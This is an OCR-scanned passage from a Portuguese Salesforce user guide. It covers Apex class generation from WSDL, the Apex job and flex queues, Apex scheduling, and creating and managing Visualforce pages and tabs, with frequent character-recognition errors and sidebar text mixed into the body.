namespace no documento WSDL e informa quaisquer erros. A andlise falha guando o WSDL possui tipos de esquema ou construcoes
que ndo sao suportados pelas classes do Apex ou quando as classes resultantes excedem o limite de T milhdo de caracteres nas
classes do Apex. Por exemplo, ndo é possivel analisar o WSDL da API do SOAP do Salesforce.

5. Modifique os nomes de classe como desejado. Embora vocé possa salvar mais de um namespace WSDL em uma Unica classe usando
0 mesmo nome de classe para cada namespace, as classes do Apex ndo podem ter mais de 1 milhao de caracteres no total.

6. Clique em Gerar Apex. A pagina final do assistente mostra quais classes foram corretamente geradas, junto com quaisquer erros

de outras classes. A pagina também oferece um link para a exibicao do cédigo gerado de forma bem-sucedida.

As classes do Apex geradas corretamente incluem classes de fragmento de c6digo e de tipo para chamar o servico da Web de terceiros
representado pelo documento WSDL. Essas classes permitem que vocé chame o servico externo da Web do Apex. Para cada classe
gerada, uma segunda classe serd criada com o mesmo nome e com um prefixo Async. A primeira classe é para chamadas sincronas.
A segunda classe é para chamadas assincronas. Para obter mais informacées, consulte Force.com Apex Code Developer's Guide (Guia do
desenvolvedor do Force.com Apex Code).

Observe o seguinte sobre o Apex gerado:
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e Se um documento WSDL contiver uma palavra reservada do Apex, a palavra serd incluida com _x quando a classe do Apex for
gerada. Por exemplo,0 1imite emum documento WSDL é convertidoem 1imit x naclasse do Apex gerada. Para obteruma
lista de palavras reservadas, consulte Force.com Apex Code Developer's Guide.

e Seuma operagao no WSDL tiver uma mensagem de saida com mais de um elemento, o Apex gerado insere 0s elementos em uma
classe interna. O método do Apex que representa a operacao WSDL retorna uma classe interna ao invés dos elementos individuais.

CONSULTE TAMBEM:

Definir classes do Apex

Monitorando a fila de trabalhos do Apex

Afila de trabalhos do Apex relaciona todos os trabalhos do Apex que foram enviados para execucao. EDlCC)ES
Os trabalhos ja executados aparecem na lista juntamente com aqueles que ainda ndo foram
concluidos, incluindo:

Disponivel em: Salesforce
e Osmétodos do Apexcomaanotacdo futuro queaindanao foram executados. Esses trabalhos Classic e Lightning
aparecem na lista como Futuros na coluna Tipo de trabalho e ndo tém valores nas colunas Total Experience

de lotes ou Lotes processados. Disponivel em: Enferprise,

e Asclasses do Apex que implementam a interface Enfileiravel, que ainda ndo foi Performance, Unlimited,
executada. Esses trabalhos aparecem na lista como Futuros na coluna Tipo de trabalho e ndo Developer e Database.com
tém valores nas colunas Total de lotes ou Lotes processados. Editions

e Os trabalhos do Apex agendados que ainda ndo conclufram a execucéo.

- Esses trabalhos aparecem na lista como Apex agendado na coluna Tipo de trabalho, ndo tém valores nas colunas Total de lotes
ou Lotes processados e sempre tém o status Em fila.

- Os trabalhos agendados ndo podem ser abortados a partir dessa pagina. Use a pagina Trabalhos agendados para gerenciar ou
excluir trabalhos agendados.

-~ Mesmo que um trabalho agendado apareca nas paginas Trabalhos e Trabalhos agendados do Apex, ele serd contado apenas
uma vez no limite de execucéo assincrona do Apex.

e Qs trabalhos em lote de recalculo de compartilhamento do Apex que ainda ndo terminaram de ser executados. Esses trabalhos
aparecem na lista como Recélculos do compartilhamento na coluna Tipo de trabalho. Os registros em um trabalho de recalculo de
compartilhamento sao automaticamente divididos em lotes. A coluna Total de lotes lista o nimero total de lotes do trabalho. A
coluna Lotes processados lista 0 nimero de lotes que ja foram processados.

e Ostrabalhos do Apex em lote que ainda ndo concluiram a execucdo. Esses trabalhos aparecem na lista como Apex em lote na coluna
Tipo de trabalho. Os registros em um trabalho do Apex em lote sdo automaticamente divididos em lotes. A coluna Total de lotes
lista 0 nimero total de lotes do trabalho. A coluna Lotes processados lista o nimero de lotes que ja foram processados.

@ Nota: Os trabalhos em lote de recélculo de compartilhamento atualmente estao disponiveis por meio de um programa de
lancamento limitado. Para obter informagdes sobre como habilitar os trabalhos em lote de recalculo de compartilhamento do
Apex para sua organizacdo, entre em contato com Salesforce.

Essa tabela lista todos os valores possiveis de status do trabalho. A coluna Status lista o status atual do trabalho. Os valores possiveis sao:

Status Descri¢do
Em fila O trabalho estd aguardando execucéo.
Preparacao O método start da tarefafoi chamado. Esse status pode durar

alguns minutos dependendo do tamanho do lote de registros.
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Status Descri¢do

Processando O trabalho esta sendo processado.

Anulado O trabalho foi anulado por um usuario.
Concluido Trabalho concluido com ou sem falhas.
Falha O trabalho apresentou uma falha no sistema.

Os trabalhos do Apex em lote também podem ter o status Em espera quando estdo na fila flexivel do Apex. Consulte Monitorando
afila flexivel do Apex.

Se um ou mais erros ocorrerem durante o processamento do lote, a coluna Detalhes do status exibird uma descricdo resumida do primeiro
erro. Uma descricdo mais detalhada do erro, juntamente com o0s erros subsequentes, é enviada por email ao usudrio que iniciou a classe
de lotes em execucao.

Para exibir uma lista filtrada de itens, selecione uma lista predefinida na lista suspensa Exibir ou clique em Criar novo modo de
exibicao para definir seus proprios modos de visualizacdo personalizados. E muito Util quando vocé quer exibir apenas os métodos
futuros ou os trabalhos em lote do Apex.

Somente um lote do trabalho do Apex com método start pode ser executado ao mesmo tempo em uma organizacao. Os trabalhos
em lote que ainda né&o foram iniciados permanecem na fila até serem iniciados. Observe que esse limite n&o causa falhas em nenhum
trabalho em lote e 0s métodos execute de trabalhos em lote Apex ainda sao executados em paralelo, caso haja mais de um trabalho
sendo executado.

Para qualquer tipo de trabalho do Apex, vocé pode clicar em Anular trabalho na coluna Acao para interromper o processamento do
trabalho.

Todos os trabalhos em lotes que tiverem concluido a execugéo serdo removidos da lista da fila de lotes sete dias apos a conclusao.

Para obter mais informacées sobre o Apex, consulte o Force.com Apex Code Developer's Guide.

CONSULTE TAMBEM:
Agendar Apex

Monitoramento da fila flexivel do Apex

Use a pagina Fila flexivel do Apex para exibir e reordenar todos os trabalhos em lote com status EDlCOES
Espera. Como opgao, reordene seus trabalhos em lote programaticamente usando o Apex code.

E possivel colocar até 100 trabalhos em lote em um status em espera para execucdo futura. Quando Disponivel em: Salesforce
0s recursos do sistema ficam disponiveis, os trabalhos sdo pegos a partir do inicio da fila flexivel do Classic e Lightning
Apex e movidos para a fila de trabalhos em lote. Até cinco trabalhos em fila ou ativos podem ser Experience

processados simultaneamente para cada organizacdo. Quando um trabalho é movido para fora da
fila flexivel para processamento, seu status muda de Espera para Em fila. Os trabalhos em fila serdo
executados quando o sistema estiver pronto para processar novos trabalhos.

Disponivel em: Enterprise,
Performance, Unlimited,
Developer e Database.com
E possivel reordenar trabalhos na fila flexivel do Apex para priorizar trabalhos. Por exemplo, é possivel Editions

mover um trabalho em lote para a primeira posicdo na fila de espera para que ele seja o primeiro

a ser processado quando recursos forem disponibilizados. Caso contrario, os trabalhos sao

processados segundo a regra "o primeiro a entrar é o primeiro a sair", na ordem em que foram enviados.
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Monitorando e reordenando a fila flexivel do Apex

A pagina Fila flexivel do Apex lista todos os trabalhos em lote com status Espera. E possivel exibir informacdes sobre o trabalho, como
0 ID do trabalho, a data de envio e a classe do Apex. Por padrdo, os trabalhos séo numerados na ordem de envio, comec¢ando pela
posicao 1, que corresponde ao trabalho que foi enviado primeiro. E possivel alterar a posicdo de um trabalho clicando em Reordenar
e inserindo o nimero da nova posicao. O trabalho é movido para a posicao especificada, a menos que o nimero da posicao seja maior
que o nimero de trabalhos na fila. Nesse caso, o trabalho é colocado no fim da fila. Ao mover um trabalho, todos os outros trabalhos
na fila flexivel sdo reordenados e renumerados conforme necessario.

Nota: Nainterface do usudrio do Salesforce, o trabalho no topo da fila flexivel esta na posicao 1. No entanto, ao trabalhar com a
fila flexivel programaticamente, a primeira posicao na fila flexivel esta no indice 0.

Quando um sistema seleciona o préximo trabalho na fila flexivel do Apex para processamento, o trabalho é movido da fila flexivel para
afila de trabalhos em lote. E possivel monitorar o trabalho movido na pagina Trabalhos do Apex clicando em Trabalhos do Apex.

Também é possivel utilizar os métodos do Apex System. FlexQueue parareordenar os trabalhos em lote na fila flexivel. Para testar
afilaflexivel, use 0s métodos get FlexQueueOrder () e enqueueBatchJobs (numberOfJobs) naclasse System. Test.

CONSULTE TAMBEM:
"Classe FlexQueue no Apex Code Developer's Guide do Force.com
"enqueueBatchJobs (numberOfJobs) no Apex Code Developer's Guide do Force.com

"getFlexQueueOrder () no Apex Code Developer's Guide do Force.com

Agendar Apex

Use 0 agendador do Apex se vocé tiver classes especificas do Apex que quiser executar regularmente

ou execute um trabalho do Apex em lotes usando a interface do usudrio do Salesforce.

O programador executa como um sistema, ou seja, todas as classes sao executadas, Disponivel em: Salesforce

independentemente de o usuario possuir permissao para executar a classe. Classic e Lightning
Experience

@ Importante: O Salesforce programa a classe para execugdo em um hordrio especificado. A

execucdo real poderd atrasar, com base na disponibilidade do servico. Disponivel em: Enterprise,

Performance, Unlimited,

Para agendar trabalhos usando o agendador do Apex: Developer e Database.com

1. Implemente a interface Programavel em uma classe do Apex que instancia a classe que Editions

deseja executar.

2. EmConfiguracdo,insira Classes do Apex nacaixa Busca rapida,selecione Classes
do Apex e clique em Agendar Apex.

3. Especifique o nome da classe que deseja programar.
4. Especifique a frequéncia com que a classe do Apex deve ser executada.

e Para Semanalmente — especifique um ou mais dias da semana em que o trabalho devera ser executado (como segunda e
quarta-feira).

e Para Mensalmente — especifique ou a data em que o trabalho deverd ser executado ou o dia (como o segundo sdbado de
cada més).

5. Especifique as datas de inicio e fim para a classe agendada do Apex. Se vocé especificar um Unico dia, o trabalho serd executado
uma unica vez.

6. Especifique uma hora de inicio preferencial. O horério exato em que o trabalho comeca depende da disponibilidade do servico.

7. Clique em Salvar.
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@ Nota: Vocé pode ter apenas 100 trabalhos ativos ou agendados simultaneamente.

Como alternativa, é possivel chamar o método System.scheduleBatch para programar o trabalho em lote para executar uma
vez em um hordrio futuro. Para obter mais detalhes, consulte “Usando 0 método System.scheduleBatch”no Force.com Apex
Code Developer's Guide (Guia do desenvolvedor de cédigo do Apex do Force.com.

Depois de vocé agendar um trabalho do Apex, poderd monitorar seu andamento na pagina Todos os trabalhos agendados.

Quando o trabalho estiver concluido, vocé podera ver os dados especificos sobre ele (como se ele passou ou falhou, quanto tempo
levou para ser processado, o nimero de registros processados, e assim por diante) na pagina Trabalhos do Apex.

Perguntas frequentes

Perguntas frequentes do Apex

L . , =
e Qual é adiferenca entre Classes e acionadores do Apex? EDICOES

e Posso chamar um servico externo da Web com o Apex?
e Quais 530 0s tipos suportados de esquemas WSDL para chamadas do Apex? Disponivel em: Salesforce
Classic e Lightning

. Experience
Posso chamar um servico externo da Web com o Apex?

Sim. E el ch Ses d o5 da Web Apex. Usand (qina I doA Disponivel em: Enterprise,
im. E possivel chamar operagées de servicos da Web com Apex. Usando a pagina Classes do Apex, Performance, Unlimited,

primeiro vocé cria uma classe d/o Apex a partir do documento WSDL do servico externo da Web, Developer ¢ Database.com
antes de poder chamar seus métodos. Editions

CONSULTE TAMBEM:

Perguntas frequentes do Apex

Quais sdo os tipos suportados de esquemas WSDL para chamadas do Apex?

Para chamadas, o Apex sé suporta o estilo WSDL agrupado literal no documento, junto com os tipos de dados primitivos e incorporados.
|Recomendamos que vocé valide o documento WSDL e garanta que ele contenha tipos de esquema suportados. Se um tipo nao for
suportado pelo Apex, uma chamada para uma operacéo de servico da Web podera provocar um erro retornado na resposta a chamada,
como “Incapaz de analisar resposta a chamada. Tipo do Apex ndo encontrado para o item do elemento”.

CONSULTE TAMBEM:

Perguntas frequentes do Apex

Qual é a diferenca entre classes e acionadores do Apex?

Uma classe do Apex é um modelo ou projeto a partir do qual objetos do Apex séo criados. As classes consistem em outras classes,
métodos definidos pelo usuario, varidveis, tipos de exce¢do e cédigo de inicializacdo estatico Um acionador é o codigo do Apex executado
antes ou depois que eventos especificos de linguagem de manipulacéo de dados (DML) ocorrem; por exemplo, antes que registros de
objetos sejam inseridos no banco de dados ou depois que os registros sao excluidos. Um acionador € associado a um objeto padrao ou
personalizado e pode chamar métodos de classes do Apex.

CONSULTE TAMBEM:

Perguntas frequentes do Apex
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Visualforce

Visualforce

O Visualforce usa uma linguagem de marcagéo que proporciona aos desenvolvedores uma maneira EDlCOES
mais eficiente de criar aplicativos e personalizar a interface de usuério do Salesforce. Com o

Visualforce, € possivel: Disponivel em: Salesforce

e (riarinterfaces de usudrio personalizadas que facilmente aproveita os estilos padrdo do Salesforce Classic e Lightning
e Criarinterfaces de usudrio personalizadas que substituam totalmente os estilos padréo do Experience
Salesforce Disponivel em: Edicdes
e (riar assistentes e outros padrdes de navegacdo que usam regras especificas de dados para Contact Manager, Group,
uma interacao de aplicativos eficiente e 6tima. Professional, Enterprise,
, , , T , Performance, Unlimited e
O Visualforce é fornecido com uma ampla biblioteca de componentes que permite desenvolver Developer

paginas com rapidez sem precisar criar varias funcionalidades. Com a linguagem de marcacdo do

Visualforce, cada marca corresponde a um componente genérico ou especifico, como uma secéo

de uma pdgina, uma lista relacionada ou um campo. Os componentes podem ser controlados pela mesma ldgica usada em paginas
padrédo do Salesforce, ou os desenvolvedores podem associar sua propria légica com um controlador personalizado ou escrito em Apex.

@ Nofta: Este lancamento contém uma versao beta do Visualforce para Lightning Experience com qualidade de producdo, mas com
limitacdes conhecidas.

CONSULTE TAMBEM:
Definindo paginas do Visualforce
O que é um componente personalizado?

http://www.salesforce.com/us/developer/docs/pages/index.htm

Visualforce para Lightning Experience (Beta)

Este langamento contém uma versao beta do Visualforce para Lightning Experience com qualidade ED|COES

de produgdo, mas com limitacdes conhecidas.

0 Visualforce em si permanece geralmente disponivel. E apenas o uso das paginas do Visualforce Disponivel em: Salesforce
com o Lightning Experience ativado que é considerado beta. Classic, Lightning Experience

Disponivel em: Edicoes
Contact Manager, Group,
Professional, Enterprise,
Performance, Unlimited e
Developer
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Definir paginas do Visualforce

Definindo paginas do Visualforce

E possivel criar paginas do Visualforce com o modo de desenvolvimento do Visualforce ou com a

criacdo de paginas em Configuragdo.

Para criar uma pdgina usando a ferramenta de “corre¢do rapida” disponivel no modo de Disponivel em: Salesforce

desenvolvimento do Visualforce: Classic e Lightning

1. No navegador, digite um URL no sequinte formato: Experience
https://mySalesforcelnstance/apex/nameOfNewPage,onde o valor de Disponivel em: Edicoes
mySalesforceInstance éonomedohostde suainstancia do Salesforce (porexemplo, Contact Manager, Group,
na3.salesforce.com)e 0 valorde nameOfNewPage ¢ 0 valor que vocé deseja dar Professional, Enterprise,
ao campo Nome em sua definicio de pagina. Performance, Unlimited e

Developer

Por exemplo, se vocé quiser criar uma pagina chamada "OlaMundo" e sua organizagao do
Salesforce usar ainstancia na3.salesforce. com, digite -
https://na3.salesforce.com/apex/0laMundo. PERMISSOES DO

USUARIO

@ Notfa: Os nomes de paginas ndo podem ser superiores a 40 caracteres.
Para criar, editar e definir as

2. Como a pagina ainda nao existe, vocé sera direcionado a uma pagina intermediaria de onde configuracées da versdo
poderé criar sua nova pagina. Cligue em Criar pagina nomedanovapdgina> para criar a para lF]’(OQmOS do
Visualforce:

nova pagina. O Nome e 0 Rétulo da péagina recebem o valor nomedanovapdgina

especificado no URL e "Personalizar aplicativo”

Para criar paginas em Configuracao:
1. Em Configuragdo, insira Pdginas do Visualforce nacaixa Busca rapida e selecione Paginas do Visualforce.

2. (Clique em Novo.

3. Nacaixadetexto Nome, digite o texto que aparecerd no URL como 0 nome da pagina. Esse nome pode conter somente sublinhados
e caracteres alfanuméricos, e deve ser exclusivo na sua organizacao. Deve comecar com uma letra, ndo incluir espagos, nao terminar
com sublinhado e ndo conter dois sublinhados consecutivos.

4. Na caixa de texto Rétulo, digite o texto que deverd ser usado para identificar a pagina nas ferramentas de Configuracdo, como
ao definir guias personalizadas ou substituir botdes padréo.

5. Na caixa de texto Nome, digite o texto que devera ser usado para identificar a pagina na API. Esse nome pode conter somente
sublinhados e caracteres alfanuméricos, e deve ser exclusivo na sua organizacdo. Deve comecar com uma letra, ndo incluir espacos,
nao terminar com sublinhado e ndo conter dois sublinhados consecutivos.

6. Na caixa de texto Descricéo, especifique uma descricdo opcional da pagina.

7. Selecione Disponivel para aplicativos méveis do Salesforce afimdeativarasquiasdo Visualforce associadas
a pagina do Visualforce que serd exibida no aplicativo Salesforcel. A caixa de selecdo estd disponivel para paginas definidas para a
APl versdo 27.0 ou posterior.

@ Nota: As guias de objeto padréo substituidas por uma péagina do Visualforce ndo sdo suportadas no Salesforce1, mesmo que
vocé selecione aopgao Disponivel para aplicativos méveis do Salesforce paraapagina. A pagina
padrédo do Salesforce1 referente ao objeto é exibida no lugar da pagina do Visualforce.

Essa opcdo nao tem efeito sobre o suporte do Visualforce no aplicativo mével do Salesforce Classic Mobile. Em vez disso, use
acaixadeselecdo Pronto para Salesforce Classic Mobile naspaginasde configuracaodaguia Visualforce.
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8. Selecione Solicitar protecao CSRF em solicitagdes GET para ativar a protecdo Cross Site Request Forgery (CSRF) nas solicitacdes
GET da pagina. Quando marcada, ela protege contra ataques CSRF modificando a pagina para que ela exija uma chave de confirmagéo
CSRF, uma string aleatdria de caracteres nos parametros do URL. Em cada solicitacdo GET, o Visualforce verifica a validade dessa
string de caracteres e nao carrega a pagina a menos que o valor encontrado seja correspondente ao esperado.

Marque essa caixa se a pagina realizar qualquer operagdo DML quando for carregada pela primeira vez. Fazendo isso, todos os links
nessa pagina precisarao de uma chave CSRF adicionada aos parametros de string de consulta do URL. A caixa de sele¢do esta
disponivel para paginas definidas para a APl versao 28.0 ou posterior.

@ Nota: No Summer '13, o Unico modo de adicionar uma chave CSRF vélida a um URL é substituir um link Excluir padréo de
um objeto por uma pégina do Visualforce. O link Excluir incluird automaticamente a chave exigida. Ndo marque essa caixa em
nenhuma pagina que ndo substitua o link Excluir padrao de um objeto.

9. Nacaixadetexto Marcacdo do Visualforce,insiraa marcagdo do Visualforce para a pdgina. Uma Unica pagina pode
conter até 1 MB de texto ou aproximadamente 1.000.000 de caracteres.

10. Clique em Configuragdes da versao para especificar a versao do Visualforce e a APl usada com essa pagina. Também é possivel
especificar versdes para quaisquer pacotes gerenciados instalados na sua organizacao.

11. Clique em Salvar para salvar suas alteragdes e retornar a tela de detalhes do Visualforce ou clique em Gravagao rapida para salvar
suas alteragcdes e continuar editando a pagina. A marcacao do Visualforce deve ser vélida para que vocé possa salvar a pagina.

@ Nota: Apesar de ser possivel editar a marcacdo do Visualforce nesta fase da Configuracdo, serd necessario navegar até o URL
da pagina para ver o resultado das edicdes. Por isso, muitos desenvolvedores preferem trabalhar com o modo de
desenvolvimento ativado para exibir e editar paginas em uma Unica janela.

Depois que sua pagina tiver sido criada, vocé poderd acessa-la clicando em Visualizar. Também é possivel exibi-la manualmente
digitandoa URL da seguinteforma: http://minhainstdnciadoSalesforce/apex/nomedanovapdgina,ondeovalor
de minhainstdnciadoSalesforce éonomedehostde suainstancia do Salesforce (porexemplo, na3.salesforce.com)
e ovalorde nomedanovapdgina é o valor que vocé deseja dar ao campo Nome em sua definicado de pagina.

CONSULTE TAMBEM:
Ativando o modo de desenvolvimento
Exibindo e editando paginas do Visualforce

Criando guias do Visualforce
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Ativando o modo de desenvolvimento

Embora seja possivel exibir e editar as definicdes de pagina do Visualforce na pagina Paginas do
Visualforce, na Configuracao, ativar o modo de desenvolvimento do Visualforce é a melhor forma
de criar paginas do Visualforce. O modo de desenvolvimento fornece o seguinte:

Um rodapé de desenvolvimento especial em cada pagina do Visualforce que inclui o estado
de exibicao da pagina, qualquer controlador associado, um link para a documentacao de
referéncia do componente e um editor de marcacgdo de pagina que oferece destaques,
funcionalidade de localizagéo e substituicdo, e sugestao automatica para marca de componente
e nomes de atributo.

A capacidade de definir novas paginas do Visualforce simplesmente inserindo um URL exclusivo.

Mensagens de erro que incluem rastreamentos de pilha mais detalhados do que os recebidos
pelos usuérios padrao.

Para ativar o modo de desenvolvimento do Visualforce:

1.

Em suas configuragdes pessoais, insira Detalhes avancados do usudrio Nacaixa
Busca rapida e selecione Detalhes avan¢ados do usudrio. Nenhum resultado? Insira
Informacdes pessoais Nacaixa Busca rapida eselecione Informagdes pessoais.

Clique em Editar.

Marque a caixa de selecdo Modo de desenvolvimento.

Guia do usudrio | Componentes do Lightning, Apex,
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EDICOES

Disponivel em: Salesforce
Classic e Lightning
Experience

Disponivel em: Edicoes
Contact Manager, Group,
Professional, Enterprise,
Performance, Unlimited e
Developer

PERMISSOES DO

USUARIO

Para ativar o modo de
desenvolvimento:

e "Personalizar aplicativo”

Vocé também pode marcar a caixa de selecdo Mostrar estado de exibicdo no modo de desenvolvimento
para habilitar a guia Estado de exibicdo no rodapé de desenvolvimento. Essa guia é Util para monitorar o desempenho das paginas

do Visualforce.

Clique em Salvar.
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Exibindo e editando paginas do Visualforce

Em Configuracdo, insira Pdginas do Visualforce nacaixa Busca rapida,selecione EDICOES
Paginas do Visualforce e cligue no nome de uma pégina do Visualforce para exibir os detalhes,
incluindo quando ela foi criada e foi modificada pela Gltima vez e a marcacdo do Visualforce associada

Disponivel em: Salesforce

a pagina. Classic e Lightning

Na péagina de detalhes, é possivel executar as sequintes acoes: Experience

e (lique em Editar para editar a marcacdo da pagina existente. Disponivel em: Edicoes

e Clicar em Excluir para excluir a pagina. Contact Manager, Group,

Professional, Enterprise,
Performance, Unlimited e
Developer

e (licarem Clonar para criar uma cépia da pagina. Vocé deve especificar um novo nome para a
nova pagina.

e (licarem Onde é usado (a)? para exibir uma lista de todas as referéncias a pagina em sua
organizagao.

) L o _ PERMISSOES DO
e (lique em Mostrar dependéncias para exibir os itens, como campos, objetos ou outras classes, USUARIO
que devem existir para que esta classe seja valida.
e (lique em Visualizar para abrir a pagina em uma nova janela. Para clonar, editar ou excluir
a marcacdo do Visualforce:
@ Nofa: Se a pagina do Visualforce estiver contida em um pacote gerenciado instalado, vocé « “Personalizar aplicafivo”

sO podera visualizar a pagina. Vocé ndo podera editad-la, exclui-la nem clona-la. .
P Pag P Para editar controladores

Se a pagina do Visualforce estiver contida em um pacote gerenciado instalado, 0 Pacote personalizados do
instalado indicard o nome do pacote. O campo Disponivel nos pacotes das Visualforce
versdes apresenta a série de versdes de pacote na qual a pagina do Visualforce esté disponivel. * "Apexdo autor”

O primeiro nimero de verséo do intervalo é a primeira verséo do pacote instalado que contém a
pagina do Visualforce.

Exibindo e editando paginas do Visualforce com o modo de desenvolvimento ativado

Com o modo de desenvolvimento ativado, também é possfvel navegar até o URL da pagina para exibir e editar o conteldo de uma
pagina. Se uma pagina for nomeada de 01aMundo e ainstancia da Salesforce for na3.salesforce. com, por exemplo, digite
https://na3.salesforce.com/apex/0laMundo na barra de endereco do navegador.

Depois de habilitar o modo de desenvolvimento, todas as paginas do Visualforce serdo exibidas com o rodapé do modo de
desenvolvimento na parte inferior do navegador:

e (lique na guia com o nome da pagina para abrir o editor de pagina para exibir e editar a marcacao do Visualforce associada sem ter
que retornar a area de Configuragdo. As alteracoes sao exibidas imediatamente apds salvar a pagina.

e Seapdagina usa um controlador personalizado, o nome da classe do controlador esta disponivel como uma guia. Clique na guia para
editar a classe do Apex associada.

e Seapdgina usar alguma extensao de controlador, os nomes de cada extensao estarao disponiveis como guias. Um clique na guia
permite que vocé edite a classe Apex associada.

e Se habilitada na Configuragéo, a guia Exibir estado exibira informacées sobre os itens que contribuem para o estado de exibicdo
da pégina do Visualforce.

e (lique em Salvar (acima do painel de edicao) para salvar suas alteragdes e atualizar o contetido da pagina.
e (lique em Referéncia do componente para exibir a documentagdo de todos os componentes do Visualforce suportados.

e (lique em Onde é usado(a)? para exibir uma lista de todos os itens no Salesforce que fazem referéncia a pagina, como guias
personalizadas, controladores ou outras paginas.

® (lique no botdo Recolher ([&]) para recolher o painel de rodapé do modo de desenvolvimento. Cligue no botao Expandir ([&]) para
abri-lo novamente.
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Cligue no botao Desativar modo de desenvolvimento (Q) para desligar o modo de desenvolvimento totalmente. O modo de

desenvolvimento permanece desativado até que vocé o ative novamente a partir da pagina de informacoes pessoais nas configuracdes

pessoais.

Gerenciando paginas do Visualforce

Depois de criar paginas do Visualforce, vocé poderd personalizé-las, editd-las e exclui-las. Em
Configuracdo, insira Pdginas do Visualforce nacaixa Busca rapida e selecione
Paginas do Visualforce para exibir a pagina Lista de paginas, que mostra todas as paginas do
Visualforce definidas para a sua organizacdo. Na pagina de lista Paginas, é possivel:

e (licar em Novo para definir uma nova pagina do Visualforce.

e (licarem um nome de pagina para exibir informacdes detalhadas sobre a pagina, incluindo o
rétulo e a marcacao do Visualforce.

e (licar em Editar ao lado de um nome de péagina para modificar a marcacéo do Visualforce, o
rétulo ou 0 nome de pagina.

Nota: Umicone # indica que uma pagina do Visualforce estd em um pacote gerenciado
instalado. Vocé ndo pode editar nem excluir uma pagina do Visualforce em um pacote
gerenciado.

e (licar em Excluir para remover uma pagina.
e (lique em Seguranca para gerenciar a seguranca da pagina.

e (lique no botdo Visualizar ([& ) para abrir a pdgina em uma nova janela.

@ Nota: O prefixo de namespace € adicionado as classes e acionadores do Apex, componentes
e paginas do Visualforce, modelos de marca, pastas, s-controls, recursos estaticos, links da
web e tipos de relatério personalizados caso eles estejam incluidos em um pacote gerenciado.
Mas se vocé ndo tiver permissao para personalizar aplicativos, o campo de prefixo de
namespace nao sera exibido para modelos de marca, pastas e tipos de relatério personalizados.

Campos de mesclagem para paginas do Visualforce

Um campo de mesclagem é um campo que vocé pode colocar em um modelo de email, modelo
de mala direta, link personalizado ou férmula para incorporar valores de um registro.

As paginas do Visualforce usam o mesmo idioma de expressao das formulas, ou seja, qualquer coisa
dentrode {! } éavaliadacomo uma expressao que pode acessar valores dos registros que estdo
no momento no contexto. Por exemplo: vocé pode exibir o nome do usudrio atual ao adicionar o
campo de mesclagem { ! $User.FirstName} auma pagina.

<apex:page>
Hello {!$User.FirstName}!
s</apex:page>

Se 0 nome do usudrio for John, a pagina ird exibir 014 John'!

EDICOES

Disponivel em: Salesforce
Classic e Lightning
Experience

Disponivel em: Edicoes
Contact Manager, Group,
Professional, Enterprise,
Performance, Unlimited e
Developer

PERMISSOES DO

USUARIO

Para criar e editar paginas
do Visualforce:
e "Personalizar aplicativo

"
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Vocé também pode usar campos de mesclagem ou outras funcdes para personalizar o contetido de ajuda no nivel do objeto.

CONSULTE TAMBEM:

Definindo paginas do Visualforce

Criando guias do Visualforce

E possivel criar guias do Visualforce para que os usudrios tenham acesso as paginas do Visualforce
do Salesforce.

Para criar uma guia do Visualforce:

1.
2.

Em Configuracdo, insira Guias na caixa Busca rapida e selecione Guias.
Clique em Novo na lista relacionada Guias do Visualforce.

Selecione a pagina do Visualforce a ser exibida na guia personalizada. Se jd ndo tiver criado a
pagina do Visualforce, clique em Criar uma nova pagina agora.

Insira um rétulo a ser exibido na guia.
Clique no fcone de pesquisa Estilo de guia paraexibir o Seletor de estilo da guia.

Se um estilo de guia ja estiver em uso, um nuimero entre colchetes [] serd exibido perto no
nome de estilo da guia. Passe 0 mouse sobre o nome do estilo para exibir as guias que usam
esse estilo. Cliqueem Ocultar estilos usados em outras guias parafiltrar
a lista.

Clique em estilo de guia para selecionar o esquema de cores e o icone da guia personalizada.

Se preferir, clique em Criar o seu estilo na caixa de didlogo Seletor de estilo da guia se quiser
criar um estilo de guia personalizado e sua organizagao tiver acesso a guia Documentos. Para
criar o seu estilo de guia:

EDICOES

Disponivel em: Salesforce
Classic e Lightning
Experience

Disponivel em: Edi¢des
Contact Manager, Group,
Professional, Enterprise,
Performance, Unlimited e
Developer

PERMISSOES DO

USUARIO

Para criar guias do
Visualforce:

e "Personalizar aplicativo”

a. (lique no icone de pesquisa Cor para exibir a caixa de didlogo de selecao de cor e clique em uma cor para seleciona-la.

b. Cligue em Inserir uma imagem, selecione a pasta de documento e selecione a imagem que deseja usar.

Se preferir, clique em Pesquisar em Documentos, insira um termo de pesquisa e clique em Ir! para encontrar um nome de

arquivo de documento que inclua seu termo de pesquisa.

@ Nota: A caixa de didlogo inclui apenas arquivos em pastas de documentos que sejam inferiores a 20 KB e tenham a caixa
de selecao Disponivel externamente selecionada nas configuragdes de propriedades de documentos. Se o documento

usado para o icone for excluido posteriormente, o Salesforce substitui-o por um icone de bloco multicor padréo ( ¢ ).

¢. Selecione um arquivo e clique em OK. O Assistente de nova guia personalizada reaparece.

Também é possivel marcar a caixa de selecao Pronto para o Salesforce Classic Mobile paraindicarquea

pagina do Visualforce é exibida e funciona corretamente no aplicativo Salesforce Classic Mobile.

Marcar a caixa de sele¢do faz com que a guia seja adicionada a lista de guias disponiveis para as configuragdes méveis do Salesforce
Classic Mobile. Antes de mobilizar uma guia do Visualforce, analise as consideracées sobre a guia do Salesforce Classic Mobile para
se certificar de que as paginas do Visualforce nas suas guias sejam compativeis com navegadores méveis.



Aprimorar o Salesforce com codigo Guia do usudrio | Componentes do Lightning, Apex,
Visualforce | 74

@ Nofa: Acaixadeselecdo Pronto para Salesforce Classic Mobile serdexibida somente seaopgdo Salesforce
Classic Mobile estiver ativada para a organizacao.

Essa configuracdo néo afeta a exibicdo das guias do Visualforce no aplicativo Salesforce1. Para permitir o uso de uma nova
guia do Visualforce no Salesforce1, consulte Ativar paginas do Visualforce para uso no aplicativo moével Salesforce1 e Definindo
paginas do Visualforce na pagina 68.

8. Outraopgao é escolher um link personalizado para usar como a pagina inicial introdutéria quando os usudrios clicarem pela primeira
vez na guia. Observe que as paginas iniciais ndo sao exibidas no aplicativo Salesforce Classic Mobile. Evite usar uma pagina inicial
se planeja mobilizar essa guia.

9. Insira uma descricao da guia, se desejar, e clique em Avancgar.
10. Escolha os perfis de usuarios para os quais a nova guia personalizada ficara disponivel:

e Selecione Aplicar uma visibilidade de guia a todos os perfis e escolha Padrao ativado, Padrdo desativado ou Guia oculta na
lista suspensa.

e Se preferir, selecione Aplicar uma visibilidade de guia diferente a cada perfil e escolha Padrao ativado, Padrao desativado
ou Guia oculta na lista suspensa para cada perfil.
11. Especifique os aplicativos personalizados que devem ter a nova guia.

12. Marque Anexar guia as personalizacdes pessoais existentes dos usuarios paraadicionaranova
